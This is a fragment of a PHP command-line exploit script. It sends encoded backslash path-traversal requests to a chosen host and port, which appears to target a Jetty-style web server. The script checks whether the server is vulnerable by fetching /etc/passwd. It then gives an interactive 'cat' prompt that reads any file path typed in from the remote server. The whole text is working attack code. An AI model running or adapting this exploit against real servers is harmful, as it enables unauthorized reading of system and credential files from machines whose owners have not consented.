"cli") die($error[0]); if($argc < 3) { echo("\nUsage : php {$argv[0]} "); echo("\nExample: php {$argv[0]} localhost 8080"); die(); } if(isset($argv[1]) && isset($argv[2])) { $host = $argv[1]; $port = $argv[2]; } $pack = "GET /%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C..{FILE_PATH} HTTP/1.0\r\n"; $pack.= "Host: {$host}\r\n"; $pack.= "Connection: close\r\n\r\n"; while(1) { if(strstr(http_send($host, $port, preg_replace("/{FILE_PATH}/", '/etc/passwd', $pack)), 'root')) { echo("\nAnonymous@{$host}:~# cat "); if(($file = trim(fgets(STDIN))) == "exit") break; $ret = http_send($host, $port, preg_replace("/{FILE_PATH}/", $file, $pack)); if(strstr($ret, 'Error 404 NOT_FOUND') || strstr($ret, '

Problem accessing') || strstr($ret, '

HTTP ERROR 404

')) { echo("cat: {$file}: No such file or directory"); } else { echo($ret); } } else { echo("[-] Server likely not vulnerable.\n"); break; } } function http_send($host, $port, $pack) { if(!($sock = fsockopen($host, $port))) die("\n[-] No response from {$host}\n"); fwrite($sock, $pack); $response = explode("\r\n\r\n", stream_get_contents($sock)); return($response[1]); } ?>